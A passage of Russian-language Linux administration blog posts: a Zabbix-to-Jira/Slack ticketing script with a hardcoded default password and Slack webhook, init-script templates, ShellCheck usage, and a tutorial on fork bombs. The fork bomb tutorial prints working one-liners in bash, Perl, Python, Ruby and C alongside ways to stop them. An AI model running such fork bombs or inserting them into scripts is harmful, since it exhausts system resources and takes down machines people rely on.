                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Incident'},
                    'reporter': {'name': j_reporter},
                    'assignee': {'name': j_assignee},
                    'labels': ['Alert'],
                    name_map['Origin']: {'value': 'Application'},
                    name_map['Affected AWS Services']: ['EC2'],
                    name_map['Affected components']: [service]
                },
                'ESD': {
                    'project': {'key': j_project},
                    'summary': j_issue,
                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Incident'},
                    'reporter': {'name': j_reporter},
                    'assignee': {'name': j_assignee},
                    'labels': ['Alert'],
                    name_map['Origin']: {'value': 'Application'},
                    name_map['Affected AWS Services']: ['EC2'],
                    name_map['Affected components']: [service]
                },
                'PSD': {
                    'project': {'key': j_project},
                    'summary': j_issue,
                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Incident'},
                    'reporter': {'name': j_reporter},
                    'assignee': {'name': j_assignee},
                    'labels': ['Alert'],
                    name_map['Origin']: {'value': 'Application'},
                    name_map['Affected AWS Services']: ['EC2'],
                    name_map['Affected components']: [service]
                },
                'NSD': {
                    'project': {'key': j_project},
                    'summary': j_issue,
                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Incident'},
                    'reporter': {'name': j_reporter},
                    'assignee': {'name': j_assignee},
                    'labels': ['Alert'],
                    name_map['Origin']: {'value': 'Application'},
                    name_map['Affected AWS Services']: ['EC2'],
                    name_map['Affected components']: [service]
                },
                'PSSD': {
                    'project': {'key': j_project},
                    'summary': j_issue,
                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Issue'},
                    'reporter': {'name': j_reporter},
                    'assignee': {'name': j_assignee},
                    'labels': ['Alert'],
                    name_map['Origin']: {'value': 'Application'},
                    name_map['Affected AWS Services']: ['EC2'],
                    name_map['Affected components']: [service]
                },
                'ELTM': {
                    'project': {'key': j_project},
                    'summary': j_issue,
                    'description': 'Look into this one',
                    'priority': {'name': prior[j_priority]},
                    'issuetype': {'name': 'Incident'},
                    'reporter': {'name': j_reporter},
                    'assignee': {'name': j_assignee},
                    'labels': ['Alert'],
                    name_map['Origin']: {'value': 'Application'},
                    name_map['Affected AWS Services']: ['EC2'],
                    name_map['Affected components']: [service]
                },
            }

            new_issue = auth_jira.create_issue(fields=issue_dict[j_project])
            assigner = new_issue.fields.assignee
            print("JIRA issue created: {}".format(new_issue))
            print("https://jira.my_company.com/browse/" + str(new_issue))

            # Change workflow
            transition_issue_workflow(url, user, password, str(new_issue), transitions=['Acknowledgment'])

            # Add description to the ticket if it's will be needed!

            # Add comment to the ticket if it's will be needed!
            add_comment_to_jira_ticket(url, user, password, str(new_issue), j_issue, comment_details=None)

            # Post to Slack
            ticket_status = "Created"
            ticket_number = str(new_issue)
            ticket_summary = issue_dict[j_project]['summary']

            post_to_slack(s_webhook, j_priority, j_project, ticket_status, ticket_number, assigner,
                          ticket_summary, service)
        else:
            print(Bgcolors().get['RED'], 'Please use correct project key!', Bgcolors().get['END'])
            print(Bgcolors().get['GREEN'], 'For help, use: script_name.py -h', Bgcolors().get['END'])
            exit(0)
    return create_jira_ticket


def add_comment_to_jira_ticket(url, user, password, j_ticket, j_issue, comment_details):
    auth_jira = login_to_jira(url, user, password)

    if comment_details is None:
        details = '''\n\nHi all,
The [%s] alert was received, processed with SOP and escalated for further investigation.
\n\nRegards,
Service Desk''' % j_issue
    else:
        details = comment_details

    auth_jira.add_comment(j_ticket, details)

    return add_comment_to_jira_ticket


def transition_issue_workflow(url, user, password, j_issue, transitions):
    auth_jira = login_to_jira(url, user, password)
    for transition in transitions:
        auth_jira.transition_issue(j_issue, transition=transition)

    return transition_issue_workflow


def update_jira_ticket(url, user, password, j_project, j_issue, j_priority, j_ticket, s_webhook, service):
    auth_jira = login_to_jira(url, user, password)

    if j_project is None:
        print(Bgcolors().get['RED'], 'Please add [--project]', Bgcolors().get['END'])
        print(Bgcolors().get['GREEN'], 'For help, use: script_name.py -h', Bgcolors().get['END'])
        exit(0)
    else:
        for project in auth_jira.projects():
            if (project.name == j_project) or (project.key == j_project):
                issues = auth_jira.search_issues('project=%s' % j_project)
                for issue in issues:
                    if str(issue.key) == j_ticket:
                        if str(issue.fields.status) == 'Closed':
                            add_comment_to_jira_ticket(url, user, password, j_ticket, j_issue, comment_details=None)
                            # add workflow
                            transition_issue_workflow(url, user, password, issue,
                                                      transitions=['Reopen', 'Reopened', 'Acknowledgment'])
                        elif str(issue.fields.status) == 'Resolved':
                            add_comment_to_jira_ticket(url, user, password, j_ticket, j_issue, comment_details=None)
                            # add workflow
                            transition_issue_workflow(url, user, password, issue,
                                                      transitions=['Closure', 'Reopen', 'Reopened', 'Acknowledgment'])
                        else:
                            # print('Woops.... [%s]' % issue.fields.status)
                            add_comment_to_jira_ticket(url, user, password, j_ticket, j_issue, comment_details=None)
                        # Post to Slack
                        ticket_status = "Updated"
                        ticket_number = j_ticket
                        assigner = issue.fields.assignee
                        comments = auth_jira.comments(j_ticket)
                        comment = auth_jira.comment(j_ticket, comments[-1])
                        post_to_slack(s_webhook, j_priority, j_project, ticket_status, ticket_number,
                                      assigner, comment.body, service)

    return update_jira_ticket


def check_jira_ticket(url, user, password, j_project, j_priority, j_reporter,
                      j_assignee, j_issue, j_issue_time, s_webhook):
    auth_jira = login_to_jira(url, user, password)

    if j_project is None:
        print(Bgcolors().get['RED'], 'Please add [--project]', Bgcolors().get['END'])
        print(Bgcolors().get['GREEN'], 'For help, use: script_name.py -h', Bgcolors().get['END'])
        exit(0)
    else:
        for project in auth_jira.projects():
            if (project.name == j_project) or (project.key == j_project):
                issues = auth_jira.search_issues('project=%s' % j_project, maxResults=1)
                for issue in issues:
                    try:
                        service = j_issue.split('PROD)')[1].split('(')[1].split(')')[0]
                    except IndexError:
                        service = j_issue.split('_')[-1].split('"')[0]

                    third_part_of_alert = j_issue[:round(int(len(j_issue) / 3), 0)]

                    if re.search(r'%s' % str(third_part_of_alert), str(j_issue)) and \
                            re.search(r'.*(.*?PROD).*(%s)' % str(service), str(j_issue)):
                        issue_regex = '.*(.*?PROD).*(%s)' % str(service)
                    else:
                        issue_regex = j_issue

                    if re.search(issue_regex, str(issue.fields.summary)):
                        # check time and status ticket
                        current_time = int(change_time('now_utc'))
                        if str(issue.fields.status) == 'Open' or str(issue.fields.status) == 'Opened':
                            issue_updated_time = int(change_time(issue.fields.updated))
                            diff_times = int(round((current_time - issue_updated_time) / 60, 1))

                        elif str(issue.fields.status) == 'Closed' or str(issue.fields.status) == 'Resolved':
                            issue_resolution_time = int(change_time(issue.fields.resolutiondate))
                            diff_times = int(round((current_time - issue_resolution_time) / 60, 1))

                        else:
                            if issue.fields.resolutiondate is not None:
                                issue_resolution_time = int(change_time(issue.fields.resolutiondate))
                                diff_times = int(round((current_time - issue_resolution_time) / 60, 1))
                            else:
                                issue_updated_time = int(change_time(issue.fields.updated))
                                diff_times = int(round((current_time - issue_updated_time) / 60, 1))

                        if diff_times >= int(j_issue_time):
                            print(
                                Bgcolors().get['RED'], 'Im going to create a new ticket', Bgcolors().get['END'])
                            create_jira_ticket(url, user, password, j_project, j_priority,
                                               j_reporter, j_assignee, j_issue, s_webhook, service)
                        else:
                            print(
                                Bgcolors().get['GREEN'], 'Im going to update the created ticket [%s]' % issue.key,
                                Bgcolors().get['END'])
                            update_jira_ticket(url, user, password, j_project, j_issue, j_priority,
                                               issue.key, s_webhook, service)

                    else:
                        print(Bgcolors().get['RED'],
                              'Ticket didnt find in the [%s] ticket. Creating a new ticket' % j_project,
                              Bgcolors().get['END'])
                        create_jira_ticket(url, user, password, j_project, j_priority, j_reporter,
                                           j_assignee, j_issue, s_webhook, service)

    return check_jira_ticket


def main():
    start__time = time.time()
    parser = argparse.ArgumentParser(prog='python3 script_name.py -h',
                                     usage='python3 script_name.py {ARGS}',
                                     add_help=True,
                                     prefix_chars='--/',
                                     epilog='''created by Vitalii Natarov''')
    parser.add_argument('--version', action='version', version='v0.2.0')
    # Jira
    parser.add_argument('--url', '--url', dest='url', help='URL', default='https://jira.my_company.com')
    parser.add_argument('--login', dest='login', help='A login to Jira', default='zabbix-jira-slack')
    parser.add_argument('--password', dest='password', help='A password of Jira user', default='pJ16666Z@cDDdfdsfvxcvfdsdK')

    parser.add_argument('--project', dest='project', help='Set project to find it or create ticket. Ex: CCM, RSD, ESD',
                        default=None)
    parser.add_argument('--priority', dest='priority', help='Set priority for a ticket. Ex: Average, High, Disaster',
                        default=None)
    parser.add_argument('--reporter', dest='reporter', help='Set reporter for a ticket. Ex: natarovv',
                        default='zabbix-jira-slack')
    parser.add_argument('--assignee', dest='assignee', help='Set assignee for a ticket. Ex: natarovv',
                        default='natarovv')
    parser.add_argument('--time', dest='time', help='Set time in minutes to check a ticket. Ex: 60', default='60')
    parser.add_argument('--issue', dest='issue',
                        help='Set issue to create a new ticket or check if needs to update it',
                        default='New issue created from python script')
    # Slack
    parser.add_argument('--webhook', dest='webhook', help='Set webhook URL for slack',
                        default="https://hooks.slack.com/services/T5DS9XFD/BC9QfHHN0M/KkckWtkgffds77uVu9pA2xKB40O")

    # Functions
    group = parser.add_mutually_exclusive_group(required=False)
    group.add_argument('--show', dest='show', help='Show projects', action='store_true')
    group.add_argument('--s', dest='show', help='Show projects', action='store_true')

    results = parser.parse_args()
    url = results.url
    login = results.login
    password = results.password
    project = results.project
    priority = results.priority
    reporter = results.reporter
    assignee = results.assignee
    time_check = results.time
    issue = results.issue
    webhook = results.webhook

    if results.show:
        if (url is not None) and (login is not None) and (password is not None):
            show_jira_projects(url, login, password, project)
        else:
            print('Please add [--url] or [--login] or [--password]')
            print('For help, use: script_name.py -h')
            exit(0)
    elif not results.show:
        if (url is not None) and (login is not None) and (password is not None):
            check_jira_ticket(url, login, password, project, priority, reporter, assignee, issue, time_check, webhook)
        else:
            print('Please add [--url] or [--login] or [--password]')
            print('For help, use: script_name.py -h')
            exit(0)
    else:
        print('For help, use: script_name.py -h')
        exit(0)

    end__time = round(time.time() - start__time, 2)
    print("--- %s seconds ---" % end__time)

    print(
        Bgcolors().get['GREEN'], "============================================================",
        Bgcolors().get['END'])
    print(
        Bgcolors().get['GREEN'], "==========================FINISHED==========================",
        Bgcolors().get['END'])
    print(
        Bgcolors().get['GREEN'], "============================================================",
        Bgcolors().get['END'])


if __name__ == '__main__':
    main()

Скрипт готов, нужно залить на заббикс-сервер(я использую стандартную папку, в ней лежат все скрипты). Открываем заббикс и переходим в Configuration->Actions->triggers. Создаем триггер и прописываем все необходимое, у меня он выглядит следующим образом:

Вкладка «Operations»:

Собственно в «Operations» прописываем:

/usr/bin/python3 /usr/lib/zabbix/externalscripts/create_jira_ticket_and_poster.py --project CCM --time 60 --priority {TRIGGER.SEVERITY} --issue "{TRIGGER.NAME}"

Сохраняем. Настраиваем заббикс триггеры на Average, High, Disaster (по логики используется только 3 приоритета).

С заббикс уже все. Перейдем к настройке слака. Открываем найтройки->Administrations->Manage Apps:

В поле «search» ввобдим «Incoming WebHooks» добавляем некоторые настройки (нужно выбрать канал для алертинга), чтобы получить вебхук. Данный вебхук нужно прописать в коде самого скрипта или переопределить в командной строке.

Настроив все необходимое, из заббикс-алертов будет создаватся тикет и постится в слак:

Честно, это очень драфтовая версия скрипта и у меня на нее были очень большие планы по реализации. Но учитывая что на все это нужно время — имеем, что имеем….

Планирую добавить пару нужных кнопок в слак, например чтобы нажимать акновледж в PD — для этого стоит уделить немного времени, а именно, — изучить flask или django. Коллектить тикети в один. Постинг созданного тикета в скайп и другие меседжеры.

Вот и все, статья «Интеграция Zabbix алертов с Jira, Slack в Unix/Linux» завершена.

Создание Fork Bomb в Unix/Linux

Концепция Fork Bomb — коварная маленькая программа, которая порождает себя n-раз, отбросив цепную реакцию (рекурсия) и тем самым быстро исчерпав ресурсы системы.

Примеры создания  Fork Bomb в Unix/Linux

WARNING! Эти примеры могут привести к сбою вашего компьютера в случае его выполнения.

Примеры создания  Fork Bomb с использованием bash

И так, код выглядит так:

# :(){ :|:& };:

Где:

• :() — Определение функции.
• {  — Открытие функции.
• :|: — Далее, загружает копию функции «:» в память тем самым, будет вызывать само себя с использованием техники программирования ( так называемая рекурсия) и передает результат на другой вызов функции.
• ‘:’ — Худшая часть — функция, вызываемая два раза, чтобы «бомбить» вашу систему.
• & — Помещает вызов функции в фоновом режиме, чтобы fork (дочерний процесс) не мог «умереть» вообще, тем самым это начнет есть системные ресурсы.
• } — Закрытие функции.
• ; — Завершите определение функции. Т.е является разделителем команд, (такой как и &&).
• : — Запускает функцию которая порождает fork bomb().

Это рабочий код, но не очень читабельный. Вот пример нормального, читаемого кода:

#!/usr/bin/env bash -x

bomb() {
   bomb | bomb &
   };
bomb

Идем дальше.

Примеры создания  Fork Bomb с использованием perl

Пример встроенной оболочки с использованием интерпретатора Perl:

# perl -e "fork while fork" &

Примеры создания  Fork Bomb с использованием Python

Пример кода:

import os
while True: 
os.fork()

Примеры создания  Fork Bomb с использованием Ruby

И так, вот код:

#!/usr/bin/ruby
loop { fork { __FILE__ } }

Примеры создания  Fork Bomb с использованием C/C++

Код будет выглядеть:

#include <unistd.h>

int main(void)
{
while(1)
fork();
}

Примеры Defusing Fork Bomb в Unix/Linux

Defusing — так званое разминирование fork bomb. Из-за их характера, такие бомбы трудно оставновить после их запуска. Чтобы остановить такую бомбу, нужно  завершить все рабочих копий, чего может быть трудно достичь. Одна из проблем заключается в том, что данная команда не может быть выполнена из-за того, что таблица процессов полностью забита. Вторая серьезная проблема заключается в том,  на момент поиска процессов для прекрашения потратилось время за которое могло создатся еще пару форков программы.

Для удаления такой бомбы, можно использовать одну из перечисленных команд:

# killall -STOP processWithBombName
# killall -KILL processWithBombName

Когда у системы мало свободных PID (в Linux максимальное количество PID-ов можно получить получено из /proc/sys/kernel/pid_max), «разрядка» form bomb-ы становится более сложной:

# killall -9 processWithBombName

Можно получить ошибку:

bash: fork: Cannot allocate memory

В этом случае разрядка бомбы возможна только в том случае, если хотя бы одна оболочка открыта. Процессы могут не разветвляться, но можно выполнить любую программу из текущей оболочки. Как правило, возможна только одна попытка.

Команда «killall -9» не выполняется непосредственно из оболочки, потому что команда не является атомарной и не удерживает блокировки в списке процессов, поэтому к тому времени когда она закончится, fork bomb наплодит еще ПИДов. Поэтому нужно запустить несколько процессов killall, например:

# while :; do killall -9 processWithBombName; done

Еще пример, — т.к таблица процессов достапна в Linux через ФС (/proc), то можно обезвредить данный форк бомбы с помощью встроенных функций bash, которые не требуют развертывания новых процессов.

Следующий пример идентифицирует процессы, связанные с нарушением и приостанавливает их, чтобы предотвратить данный форк, до того момента, пока они убиты по одному за раз. Это позволяет избежать состояния гонки других примеров, которые могут потерпеть неудачу, если нарушающие процессы могут развиваться быстрее, чем они убиты:

# cd /proc && for p in [0-9]*; do read cmd < "$p/cmdline"; if [[ $cmd = processWithBombName ]]; then kill -s STOP "$p" || kill -s KILL "$p"; fi; done

Как-то так!

Надеюсь это было увлекательно и познавательно, особенно — если об этом не знали. А у меня все, статья «Создание Fork Bomb в Unix/Linux» завершена.

Пишем Init скрипт

Инициализация — важнейшая процедура, лежащая в основе любой операционной системы на основе Unix/Linux для управления работой каждого скрипта и службы.

Я описывал в своих статьях процесс создания скриптов для systemD/Upstart и сейчас я хотел бы написать о написании init скриптов. Тема не новая и используется давно, но я большую часть своих тем беру именно из черновиков, которые накопились за года 3-4. У меня не хватает времени на все публикации + наполнять контент максимально (по крайней мере, сразу) и по этому, имеет что имеем. Но не смотря на это, у меня уже довольно много читателей — и это хорошо, это радует!

По сути, инициализация следует за этим процессом:

• Загрузка сервера.
• Запуск init процесса (обычно как PID 1).
• Запуск предопределенного набора задач для запуска активируется последовательно.

Инициализация отвечает за то, чтобы сервер мог загрузиться и отключиться. В некоторых Unix/Linux дистрибутивах  используется стандартный процесс инициализации init/systemD/Upstart.

Пишем Upstart скрипт

И так, хотелось бы рассказать как можно запускать томкат. Но для начала, нужно узнать какой механизм инициализации используется:

# ps -s1| awk '{print $4}'| grep -Ev "CMD"

Т.к речь идет о sysv init/Upstart, то и продолжим тему.

PS: Вот еще полезное чтиво:

Система инициализации в Unix/Linux

Система инициализации Systemd

Система инициализации SysVinit

Пишем systemd Unit файл

Пишем Upstart скрипт

INIT скрипт может иметь следующие состояния:

• start — Служит командой для запуска службы.
• stop — Выполняет остановку службы.
• restart — Перезапуст службы, а по факту — остановка и затем запуск сервиса.
• reload — Перезагрузка службы, т.е команда для перечитывания конфигурации без перезапуска или остановки службы.
• force-reload — Перезагрузка конфигурации (перечитать конфиг), если служба поддерживает это. В противном случае — выполнит перезапуск службы.
• status — Покажет состояние службы.

Вот скилет скрипта для использования:

#!/bin/bash -x
#
# Source function library.
. /etc/rc.d/init.d/functions

<define any local shell functions used by the code that follows>

case "$1" in
	start)
		echo -n "Starting <servicename> services: "
		<start daemons, perhaps with the daemon function>
		touch /var/lock/subsys/<servicename>
	;;
	stop)
		echo -n "Shutting down <servicename> services: "
		<stop daemons, perhaps with the killproc function>
		rm -f /var/lock/subsys/<servicename>
	;;
	status)
		<report the status of the daemons in free-form format,
		perhaps with the status function>
	;;
	restart)
		<restart the daemons, normally with $0 stop; $0 start>
	;;
	reload)
		<cause the service configuration to be reread, either with
		kill -HUP or by restarting the daemons, possibly with
		$0 stop; $0 start>
	;;
	probe)
		<optional. If it exists, then it should determine whether
		or not the service needs to be restarted or reloaded (or
		whatever) in order to activate any changes in the configuration
		scripts. It should print out a list of commands to give to
		$0; see the description under the probe tag below.>
	;;
	*)
		echo "Usage: <servicename> {start|stop|status|reload|restart[|probe]"
		exit 1
	;;
esac

Данный каркас можно юзать для любых целей.

Примеры Init скрипта

Приведу наглядный пример запуска томката.

Запуск TOMCAT с init

Создадим init скрипт для запуска:

# vim /etc/init.d/tomcat9

И приводим к виду:

#!/bin/bash -x
#
# Provides:          tomcat9
# Required-Start:    $local_fs $remote_fs $network
# Required-Stop:     $local_fs $remote_fs $network
# Should-Start:      $named
# Should-Stop:       $named
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start Tomcat.
# Description:       Start the Tomcat servlet engine.
### END INIT INFO

export CATALINA_HOME=/usr/local/tomcat9
export JAVA_HOME=/usr/local/jdk1.8.0_131
export PATH=$JAVA_HOME/bin:$PATH

service_name="tomcat9"

start() {
 echo "Starting Tomcat 9..."
 /bin/su -s /bin/bash tomcat -c $CATALINA_HOME/bin/startup.sh
}
stop() {
 echo "Stopping Tomcat 9..."
 /bin/su -s /bin/bash tomcat -c $CATALINA_HOME/bin/shutdown.sh
}
status() {
 if (( $(ps -ef | grep -v grep | grep $service_name | wc -l) > 0 )); then
     echo "$service_name is running!!!"
 else
     echo "$service_name is down!!!"
 fi
}
case $1 in
  start|stop|status) $1;;
  restart) stop; start;;
  *) echo "Usage : $0 <start|stop|restart>"; exit 1;;
esac

exit 0

Даем права на запуск (на исполнение):

# chmod 755 /etc/init.d/tomcat9

ИЛИ:

# chmod +x /etc/init.d/tomcat9

Запускаем томкат:

# service tomcat9 start

Открываем браузер и смотрим что вышло!

Вот еще один скрипт:

#!/bin/bash -x

DAEMON_PATH="/home/wes/Development/projects/myapp"

DAEMON=myapp
DAEMONOPTS="-my opts"

NAME=myapp
DESC="My daemon description"
PIDFILE=/var/run/$NAME.pid
SCRIPTNAME=/etc/init.d/$NAME

case "$1" in
start)
	printf "%-50s" "Starting $NAME..."
	cd $DAEMON_PATH
	PID=`$DAEMON $DAEMONOPTS > /dev/null 2>&1 & echo $!`
	#echo "Saving PID" $PID " to " $PIDFILE
        if [ -z $PID ]; then
            printf "%s\n" "Fail"
        else
            echo $PID > $PIDFILE
            printf "%s\n" "Ok"
        fi
;;
status)
        printf "%-50s" "Checking $NAME..."
        if [ -f $PIDFILE ]; then
            PID=`cat $PIDFILE`
            if [ -z "`ps axf | grep ${PID} | grep -v grep`" ]; then
                printf "%s\n" "Process dead but pidfile exists"
            else
                echo "Running"
            fi
        else
            printf "%s\n" "Service not running"
        fi
;;
stop)
        printf "%-50s" "Stopping $NAME"
            PID=`cat $PIDFILE`
            cd $DAEMON_PATH
        if [ -f $PIDFILE ]; then
            kill -HUP $PID
            printf "%s\n" "Ok"
            rm -f $PIDFILE
        else
            printf "%s\n" "pidfile not found"
        fi
;;

restart)
  	$0 stop
  	$0 start
;;

*)
        echo "Usage: $0 {status|start|stop|restart}"
        exit 1
esac

Подойдет к большинству скриптов, а для остальных — можно отредактировать немного.

И, вот еще полезный довольно вариант:

#!/bin/sh
### BEGIN INIT INFO
# Provides:
# Required-Start:    $remote_fs $syslog
# Required-Stop:     $remote_fs $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start daemon at boot time
# Description:       Enable service provided by daemon.
### END INIT INFO

dir=""
cmd=""
user=""

name=`basename $0`
pid_file="/var/run/$name.pid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"

get_pid() {
    cat "$pid_file"
}

is_running() {
    [ -f "$pid_file" ] && ps -p `get_pid` > /dev/null 2>&1
}

case "$1" in
    start)
    if is_running; then
        echo "Already started"
    else
        echo "Starting $name"
        cd "$dir"
        if [ -z "$user" ]; then
            sudo $cmd >> "$stdout_log" 2>> "$stderr_log" &
        else
            sudo -u "$user" $cmd >> "$stdout_log" 2>> "$stderr_log" &
        fi
        echo $! > "$pid_file"
        if ! is_running; then
            echo "Unable to start, see $stdout_log and $stderr_log"
            exit 1
        fi
    fi
    ;;
    stop)
    if is_running; then
        echo -n "Stopping $name.."
        kill `get_pid`
        for i in 1 2 3 4 5 6 7 8 9 10
        # for i in `seq 10`
        do
            if ! is_running; then
                break
            fi

            echo -n "."
            sleep 1
        done
        echo

        if is_running; then
            echo "Not stopped; may still be shutting down or shutdown may have failed"
            exit 1
        else
            echo "Stopped"
            if [ -f "$pid_file" ]; then
                rm "$pid_file"
            fi
        fi
    else
        echo "Not running"
    fi
    ;;
    restart)
    $0 stop
    if is_running; then
        echo "Unable to stop, will not attempt to start"
        exit 1
    fi
    $0 start
    ;;
    status)
    if is_running; then
        echo "Running"
    else
        echo "Stopped"
        exit 1
    fi
    ;;
    *)
    echo "Usage: $0 {start|stop|restart|status}"
    exit 1
    ;;
esac

exit 0

Вот и все, статья «Пишем Init скрипт» завершена.

Установка ShellCheck в Unix/Linux

ShellCheck — утилита для отладки ваших shell скриптов. Он позволит улучшить ваши написанные bash скрипты.

Установка ShellCheck в Debian/Ubuntu Linux

Выполняем команду:

# apt install shellcheck -y

Очень простая установка.

Установка ShellCheck в CentOS/RHEL/Fedora/Oracle Linux

Для начала, подключаем EPEL репозиторий, описание тут — включить EPEL репозиторий на CentOS

После чего, выполняем:

# yum install ShellCheck -y

PS: При использовании, Fedora — можно использовать:

# dnf install ShellCheck -y

Установка ShellCheck в Arch Linux

Выполняем команду:

# pacman -S shellcheck

Установка ShellCheck в Gentoo Linux

Выполняем команду:

# emerge --ask shellcheck

Установка ShellCheck в OpenSUSE Linux

Выполняем команду:

# zypper in ShellCheck

Установка ShellCheck в macOS Unix

Подключаем HOMEBREW, если нужно помощь, вот запить о том как можно выполнить установку brew — Установка homebrew на Mac OS X

Далее, стоит выполнить:

$ brew install shellcheck

Можно переходить к использовании.

Использование ShellCheck в Unix/Linux

Приведу наглядный пример использования данной утилиты на примере моего написанного скрипта. Для начала, я его возьму из гита:

# cd /usr/local/src && wget raw.githubusercontent.com/SebastianUA/redis/master/flush-cache.sh

И после чего, запускаем тестирование:

# shellcheck flush-cache.sh

Получаем вывод:

In flush-cache.sh line 1:
#!/usr/bin/env bash -x
^-- SC2096: On most OS, shebangs can only specify a single parameter.


In flush-cache.sh line 18:
SETCOLOR_NUMBERS="echo -en \\033[0;34m" #BLUE
^-- SC2034: SETCOLOR_NUMBERS appears unused. Verify it or export it.


In flush-cache.sh line 21:
if [ "`whoami`" = "root" ]; then
      ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 56:
     echo" `whoami 2> /dev/null` doesn't have permissions. Please use ROOT user for it!";
           ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 64:
      echo "**************************************************************" >> $FlushCacheReport
      ^-- SC2129: Consider using { cmd1; cmd2; } >> file instead of individual redirects.


In flush-cache.sh line 65:
      echo "HOSTNAME: `hostname`" >> $FlushCacheReport
                      ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 78:
                  echo "expect has been INSTALLED on this server: `hostname`";
                                                                  ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 82:
                  echo "expect INSTALLED on this server: `hostname`";
                                                         ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 86:
            if [ -z "`rpm -qa | grep mailx`" ]; then
                     ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 89:
                  echo "service of mail has been installed on `hostname`";
                                                              ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 93:
                  echo "mailx INSTALLED on this server: `hostname`";
                                                        ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 102:
                        echo "expect has been INSTALLED on this server: `hostname`";
                                                                        ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 106:
                        echo "expect INSTALLED on this server: `hostname`";
                                                               ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 110:
                  if [ -z "`which mailx`" ]; then
                           ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 113:
                        echo "service of mail has been installed on `hostname`";
                                                                    ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 117:
                        echo "mailx INSTALLED on this server: `hostname`";
                                                              ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 123:
                  echo 'OS=' $OS 'VER=' $VER
                             ^-- SC2086: Double quote to prevent globbing and word splitting.
                                        ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 130:
     if [ $? -eq 0 ]; then
          ^-- SC2181: Check exit code directly with e.g. 'if mycmd;', not indirectly with $?.


In flush-cache.sh line 132:
         echo -n "$(tput hpa $(tput cols))$(tput cub 6)[OK]"
                             ^-- SC2046: Quote this to prevent word splitting.


In flush-cache.sh line 137:
        echo -n "$(tput hpa $(tput cols))$(tput cub 6)[fail]"
                            ^-- SC2046: Quote this to prevent word splitting.


In flush-cache.sh line 144:
    for Roots in `echo $RootF|xargs -I{} -n1 echo {}` ; do
                 ^-- SC2006: Use $(..) instead of legacy `..`.
                       ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 156:
         for Iconfig in `ls -al /etc/nginx/conf.d/*.conf | grep "^-"| grep -vE "(default|geo|example)"|awk '{print $9}'|xargs -I{} -n1 echo {}` ; do
                        ^-- SC2006: Use $(..) instead of legacy `..`.
                         ^-- SC2010: Don't use ls | grep. Use a glob or a for loop with a condition to allow non-alphanumeric filenames.


In flush-cache.sh line 157:
              RootF=$(cat $Iconfig 2> /dev/null| grep root|cut -d ";" -f1 | awk '{print $2}'|grep -vE "(SCRIPT_FILENAME|fastcgi_param|fastcgi_script_name|log|-f)"|uniq| grep -vE "(blog|wp)")
                          ^-- SC2086: Double quote to prevent globbing and word splitting.
                          ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 158:
              SITE=$(cat $Iconfig 2> /dev/null| grep "server_name"|awk '{print $2}'|cut -d ";" -f1)
                         ^-- SC2086: Double quote to prevent globbing and word splitting.
                         ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 159:
              echo $SITE
                   ^-- SC2086: Double quote to prevent globbing and word splitting.


In flush-cache.sh line 165:
           for Iconfig in `ls -alR /etc/httpd/conf.d/*.conf | grep "^-"| grep -vE "(default|geo|example)"|awk '{print $9}'|xargs -I{} -n1 echo {}` ; do
                          ^-- SC2006: Use $(..) instead of legacy `..`.
                           ^-- SC2010: Don't use ls | grep. Use a glob or a for loop with a condition to allow non-alphanumeric filenames.


In flush-cache.sh line 166:
                RootF=$(cat $Iconfig 2> /dev/null| grep DocumentRoot| cut -d '"' -f2|uniq| grep -v "blog")
                            ^-- SC2086: Double quote to prevent globbing and word splitting.
                            ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 167:
                SITE=$(cat $Iconfig 2> /dev/null| grep -E "ServerName"|awk '{print $2}')
                           ^-- SC2086: Double quote to prevent globbing and word splitting.
                           ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 172:
         echo "Please check which web-server installed on `hostname`";
                                                          ^-- SC2006: Use $(..) instead of legacy `..`.


In flush-cache.sh line 179:
         for Iconfig in `ls -al /etc/nginx/conf.d/*.conf | grep "^-"| grep -vE "(default|geo|example)"|awk '{print $9}'|xargs -I{} -n1 echo {}` ; do
                        ^-- SC2006: Use $(..) instead of legacy `..`.
                         ^-- SC2010: Don't use ls | grep. Use a glob or a for loop with a condition to allow non-alphanumeric filenames.


In flush-cache.sh line 180:
              RootF=$(cat $Iconfig 2> /dev/null| grep root|cut -d ";" -f1 | awk '{print $2}'|grep -vE "(SCRIPT_FILENAME|fastcgi_param|fastcgi_script_name|log|-f)"|uniq| grep -vE "(blog|wp)")
                          ^-- SC2086: Double quote to prevent globbing and word splitting.
                          ^-- SC2002: Useless cat. Consider 'cmd < file | ..' or 'cmd file | ..' instead.


In flush-cache.sh line 181:
              SITE=$(cat $Iconfig 2> /dev/null| grep "server_name"|awk '{print $2}'|cut -d ";" -f1)
